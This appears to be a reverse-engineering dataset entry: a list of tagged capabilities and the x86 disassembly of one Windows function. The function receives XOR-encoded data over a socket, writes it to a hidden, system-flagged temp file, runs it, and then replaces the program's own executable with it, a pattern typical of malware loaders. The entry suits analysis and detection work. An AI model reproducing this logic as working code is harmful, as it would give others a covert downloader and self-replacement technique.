Function at 0x403032
Capabilities:
Create process on windows
Delete file
Download and write a file
Encode data using xor
Get common file path
Move file
Receive and write data from server to client
Receive data
Receive data on socket
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1878
call fcn.00406000
push ebx
push esi
push edi
mov esi, 0x400
push esi
lea eax, [ebp - 0x1874]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x1874]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x1074]
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x40746c
lea eax, [ebp - 0x1874]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x1074]
push eax
mov byte [ebp - 5], 1
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x403166
mov ecx, dword [ebp + 8]
push 0x407474
call fcn.00401f2d
pop ecx
mov ecx, eax
call section..text
mov ecx, dword [ebp + 8]
push str.size
mov byte [ebp - 0xd], al
call fcn.00401f2d
pop ecx
mov ecx, eax
call section..text
push dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
call fcn.00402866
pop ecx
mov dword [ebp - 0x18], eax
cmp eax, 0xffffffff
je 0x403154
cmp dword [ebp - 0x14], ebx
je 0x40314c
push ebx
push esi
lea eax, [ebp - 0x474]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp edi, ebx
jle 0x403149
xor eax, eax
cmp edi, ebx
jle 0x40312c
mov cl, byte [ebp - 0xd]
xor byte [ebp + eax - 0x474], cl
inc eax
cmp eax, edi
jl 0x40311d
push ebx
lea eax, [ebp - 0x2c]
push eax
push edi
lea eax, [ebp - 0x474]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub dword [ebp - 0x14], edi
jne 0x4030ff
jmp 0x40314c
mov byte [ebp - 5], bl
mov esi, dword [ebp - 0x18]
call fcn.0040288f
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 5], bl
je 0x403328
mov esi, 0x41a568
push esi
lea edi, [ebp - 0x1074]
call fcn.00405ba9
pop ecx
push 6
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x14]
push 4
push eax
call fcn.0040242b
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
pop ecx
pop ecx
push dword [ebp - 0x14]
call edi
shr eax, 1
push eax
call edi
push eax
lea eax, [ebp - 0x474]
push str.Shell.IPC._x_X_x
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea eax, [ebp - 0x474]
push eax
push ebx
push ebx
push 0x42a794
mov byte [ebp - 5], bl
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x403328
lea eax, [ebp - 0x474]
push eax
lea eax, [ebp - 0x1074]
push eax
lea eax, [ebp - 0xc]
push str.__s___u1___s_
push eax
call fcn.00402b0d
add esp, 0x10
test eax, eax
je 0x403271
push 0x40
lea eax, [ebp - 0x70]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0xc]
xor edi, edi
inc edi
push ebx
mov dword [ebp - 0x74], 0x44
mov dword [ebp - 0x48], edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x403266
push 0xea60
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg eax
sbb al, al
push ebx
push dword [ebp - 0x28]
inc al
mov byte [ebp - 5], al
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
call fcn.004023f0
pop ecx
jmp 0x403274
xor edi, edi
inc edi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 5], bl
je 0x403328
lea eax, [ebp - 0x874]
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x4074c0
lea eax, [ebp - 0x1874]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push edi
lea eax, [ebp - 0x874]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push edi
push esi
lea eax, [ebp - 0x1074]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [ebp - 0x874]
push eax
push esi
lea eax, [ebp - 0xc]
push str.__s___u2___s_
push eax
call fcn.00402b0d
add esp, 0x10
test eax, eax
je 0x403335
push 0x40
lea eax, [ebp - 0x70]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
push ebx
push ebx
push edi
push ebx
push ebx
push dword [ebp - 0xc]
mov dword [ebp - 0x74], 0x44
push ebx
mov dword [ebp - 0x48], edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40331d
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [ebp - 0xc]
call fcn.004023f0
pop ecx
jmp 0x403335
lea eax, [ebp - 0x1074]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
leave
ret